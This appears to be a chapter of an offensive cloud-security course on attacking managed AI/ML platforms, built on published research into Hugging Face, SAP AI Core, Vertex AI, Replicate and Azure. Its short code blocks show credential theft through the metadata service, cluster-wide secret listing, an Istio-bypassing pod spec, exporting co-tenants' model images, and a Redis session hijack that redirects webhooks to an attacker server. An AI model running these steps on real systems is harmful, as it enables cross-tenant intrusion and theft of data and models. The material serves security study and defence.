AI/ML Services Attack Surface

After this chapter you will be able to see a managed AI/ML platform for what it is — multi-tenant compute with a thin veneer — and reason about how a model upload, a training job, or a deployed agent becomes a foothold into the provider's shared substrate.

The problem

Strip the branding off SageMaker, Vertex AI, Bedrock, SAP AI Core, Hugging Face or Replicate and you are left with something you have already attacked in Chapters 6, 8 and 9: a fleet of Kubernetes pods or microVMs on shared hardware, a control plane that provisions them, a node agent, a metadata service, and a provider-injected identity. A managed AI platform is multi-tenant compute with a thin AI veneer painted over it.

The veneer adds exactly one new and decisive property: running a model is running arbitrary code, by design. On every surface in this book so far, the hard part was finding a bug that gave you code execution. An AI platform skips that step and hands code execution to you at the front door, because executing the customer's model is the product. The whole chapter is therefore not about getting code execution — it is about what is reachable once you have it.

Why it matters — and how it differs from a traditional pentest

A traditional pentest of an AI product would test the model: prompt injection, jailbreaks, data poisoning, bias. Those matter, but they are tenant-level concerns. This course is about attacking the provider, and from that vantage the AI platform is interesting for three reasons a model-focused test would miss.

First, the kill chain is collapsed. There is no foothold stage to earn. aiplatform.customJobs.create — one IAM permission — is functionally remote code execution inside the provider's project. Second, your code runs with a provider identity. A training job or deployed model executes as a provider-managed service agent the customer never sees, whose token the customer's own code can read straight off the metadata service — and which is routinely scoped to the whole project or account. Third, nothing you do looks anomalous. Model load, inference call and training-job execution are expected events. The audit log records "training job ran," not "training job flushed iptables and pulled a co-tenant's image."

Apply the six-part lens to the surface as a whole. The planes: the notebook, training job and inference endpoint are the data plane (tenant code); the model registry and the create-job / deploy-agent APIs are the control plane — and AI platforms blur the two badly, because a data-plane job holds an identity that calls the control plane. The isolation boundary is usually a namespace/container or microVM on a shared node, plus a software-defined network boundary (Istio, NetworkPolicy, "sandbox mode"). Identity propagation is the killer, as above. The shared components are GPU nodes, an inference queue, a container registry, a build fleet. The provider's "magic" — auto-building your model into a container, auto-creating an IAM role, auto-injecting a sidecar — each runs with privilege. And the detection surface is thin, because the dangerous actions wear the costume of normal ones.

The methods at a glance

Five techniques carry this chapter. Each one is a primitive you already own from an earlier chapter, applied to a surface that handed you the foothold for free.

Technique 1 · Model-as-code execution

What it is. A "model" is not data. PyTorch's default serialization format is Python pickle, and loading a pickled object calls __reduce__, which can return an arbitrary callable that the deserializer dutifully executes. You met this exact primitive in Chapter 9 as a deserialization bug. The new idea here is not the primitive; it is that the AI platform's normal, intended workflow invokes it. Uploading a model to a managed AI platform is uploading code the provider will run for you.

How it works. Treat every model format on a spectrum of how directly it is a program. pickle files (.pkl, .bin, PyTorch .pt) literally execute code on load — and they are the most common format in the ecosystem. Container-image formats (Replicate's Cog, exported Vertex models, SageMaker bring-your-own-container) are images the platform runs as a process. Job specs such as Argo Workflows describe a pod the platform schedules. The deliberate exception is safetensors, a non-executable tensor format that exists specifically because pickle is dangerous.^[12]

A real-world illustration. The cold open is the Hugging Face case, told from the inside.^[3]#091 Wiz researchers cloned the legitimate gpt2 model — the most-downloaded on the site — kept its config.json so the platform would know how to run it, and modified the pickle so deserialization fires a reverse shell. Uploaded as a private model and invoked through the Inference API, it landed them as root in a pod on Amazon EKS. No CVE, no parser bug. The platform ran the code it was given, because running the code it is given is the product. Everything in the rest of this chapter starts from that one sanctioned event.

Technique 2 · Notebook escape

What it is. A managed Jupyter notebook is a workload the provider stands up for you — a server reachable through a browser, holding an attached identity. A model-focused test treats it as a place to run code; a provider-focused test asks the harder question: when the notebook front end fails, whose notebook does the failure expose? The CSP-grade version of notebook escape is the one that crosses a tenant boundary — reaching a victim's notebook from outside, not merely lifting the role of a notebook you already control.

How it works. A managed notebook sits behind a multi-tenant front end: a routing layer that maps an incoming request to one tenant's notebook container. The tenant-novel failure is a same-account chain — XSS-to-CSRF subverting a notebook's security extension to lift its own IAM role token, the SSRF-to-metadata pattern of Chapter 4 wearing a notebook costume; AWS SageMaker^[4]#011 and GCP AI Hub^[5]#035 both fell to that primitive, but each only takes over a notebook the attacker can already reach and lifts its own attached role. The CSP-grade failure is in the routing layer itself: if the front end will hand an attacker a request path into another tenant's notebook container, the boundary the whole product depends on is gone — no chain, no role theft, just a missing check between tenants.

A real-world illustration: CosMiss. Orca's research on Azure Cosmos DB's notebook feature is the cleanest cross-tenant case in the corpus.^[6]#073 The notebook endpoints performed no authentication at all: requests carrying no Authorization header were served anyway. The only thing gating access to a notebook was its forwardingId — a workspace UUID that Azure never documented or treated as a secret. Anyone holding a victim's forwardingId had full read and write to that victim's notebook, and could overwrite files in the notebook container to land remote code execution inside it. There is no foothold to earn and no privilege to escalate: the attacker reaches straight across the tenant boundary into a stranger's notebook, because the multi-tenant front end checked a non-secret UUID instead of an identity. It is the same managed-notebook lineage as Chapter 8's ChaosDB — the same product, a different missing check — and Microsoft fixed it in two days by requiring an authorization token.

Technique 3 · Training and inference pod escape

What it is. Notebooks are the polite door. The real surface is the training job and the inference endpoint, because that is where the platform schedules tenant code onto shared infrastructure by design. Once you are running, the escape primitives are Chapter 6's — shared namespaces, node-role theft, cluster-admin via a writable component. You already escaped Azurescape and GKE Autopilot there. What Chapter 10 adds is that the AI platform handed you the initial code execution for free, so the chain starts one step further in.

How it works. From a pod on Amazon EKS, the malicious-gpt2 shell from Technique 1 becomes pure Chapter 4. The pod can reach the node's metadata service; the node's IAM identity mints a Kubernetes token carrying the node role; and from there it is lateral movement across the cluster.

# inside the inference pod — reach the node's metadata service
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# the node IAM identity can mint a Kubernetes token (carries the NODE role)
aws eks get-token --cluster-name <cluster>

# need the cluster name? a default-permitted call leaks it from a node tag
aws ec2 describe-instances --filters "Name=tag-key,Values=eks:cluster-name"

# act with the node's privileges
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces             # lateral movement

Hugging Face Spaces added a second path: a malicious Dockerfile RUN instruction executes code at build time, inside the provider's build fleet, where an internal container registry had no auth scoping — the attacker could pull and overwrite every customer's images. That is Chapter 7's storage-as-supply-chain pattern, reached through an AI build pipeline. AWS's fix for the metadata path is the one you already know: an IMDSv2 hop limit, so a pod cannot reach the node's metadata service.

A real-world illustration: SAPwned. SAP AI Core is the cleanest demonstration of this chapter's thesis in the corpus. Wiz researchers used the platform exactly as designed and walked from a legitimate training job to cluster-admin over a shared Kubernetes cluster, and from there to every customer's AWS, HANA and DockerHub credentials.^[1]#090

# the workload spec the admission controller happily accepted
spec:
  shareProcessNamespace: true       # exposes the sidecar's /proc
  securityContext:
    runAsUser: 1337                 # Istio's UID — excluded from iptables redirect

Technique 4 · Cross-tenant model and data theft

What it is. Code execution and a node escape move you laterally. The crown jewels of an AI platform are the models themselves — and the identity that fetches them. This technique abuses the provider-managed service agent: an identity the customer never created, attached to tenant code, and over-scoped by the provider's own default.

How it works. The AI control plane needs a powerful identity to do its automation — provision projects, mount storage, build images — and it runs tenant jobs as that identity. So the customer's instinct from Chapter 9, "automation runs with privilege," is correct; the escalation here is that the automation's privileged identity is handed to attacker-controlled code, in the provider's own project.

A real-world illustration: ModeLeak. Unit 42's research against GCP Vertex AI defines two new ideas — model exfiltration and model-to-model infection — and shows the over-scoped service agent at work.^[7]#109

# the prediction GKE clusters are linked via Workload Identity Federation
gcloud container clusters get-credentials <prediction-cluster>
kubectl get pods --all-namespaces      # every deployed model's pod, all tenants

# Docker socket isn't mounted — use the node runtime directly
crictl pull <co-tenant-model-image>    # authenticated by the SA token
ctr image export model.tar <image>     # walk out with the competitor's model

Unit 42's follow-up, "Double Agents," shows the same root cause in Vertex's agentic generation.^[8]#101 A malicious AI agent — built with Google's ADK, packaged as a pickle, deployed as an Agent Engine — has a tool query metadata.google.internal and extract the credentials of the Reasoning Engine Service Agent, which had default unrestricted read of the customer's own buckets and reached restricted Google-internal Artifact Registry repositories holding provider IP. Its OAuth 2.0 scopes were default-broad and non-editable, potentially reaching Workspace — a reminder that OAuth scope is a second access-control layer beneath IAM. Google's recommended mitigation is BYOSA: replace the over-scoped default with a least-privilege identity you control. The same provider-default pattern appears on AWS, though as in-account colour rather than cross-tenant evidence: Unit 42's "Agent God Mode" found the agentcore launch toolkit auto-creates an IAM execution role with wildcard ECR and runtime resources — so one compromised Bedrock agent can pull and poison every other agent's image and conversation memory within the same AWS account. The blast radius there is one tenant's own agents, not a tenant boundary crossed; it is included only to show how widely the over-scoped-default anti-pattern recurs.^[13]#098

Technique 5 · Attacking the shared inference fabric

What it is. Every escape so far went "down and out" — pod to node to control plane. The shared inference fabric offers a different geometry: a purely lateral attack that never leaves your pod, against a backend that many tenants share.

How it works. The fabric that schedules and routes inference is itself a cross-tenant component, so attacking it requires escaping nothing. If two containers share a network namespace — the intra-pod sharing you saw in Chapter 6 — one can observe and hijack the other's connections to that shared backend. The crown jewel is the queue itself, because it carries co-tenant prompts and prediction outputs in transit.

A real-world illustration: Replicate. Wiz's Replicate research is the best "attack the shared fabric" case in the corpus, because the attacker never escapes the pod.^[9]#092

# inject into the victim's authenticated Redis session
rshijack <iface> <victim-ip:redis-port> <attacker-ip:port>
# the Lua payload, delivered over the hijacked session
EVAL "local i = redis.call('XRANGE', KEYS[1], '-', '+', 'COUNT', 1)
      -- rewrite item.webhook to attacker server, XADD back" 1 prediction_queue

The fabric can also fail at the routing layer. Azure OpenAI's "Lost in Resolution" issue is a naming-boundary failure — recall the name-squatting patterns of Chapter 7 — on an AI service.^[10]#107 The Azure OpenAI UI enforced unique custom domains; the API did not, for the one domain test.openai.azure.com, which multiple tenants could claim. That name resolved on every public resolver to an address belonging to a non-Azure ISP. Any tenant whose configuration used that endpoint would ship its API keys, prompts and data to an IP an attacker could simply listen on — a stale DNS record and a UI-versus-API enforcement gap, with an all-tenant blast radius. Microsoft's fix was to delete the A record.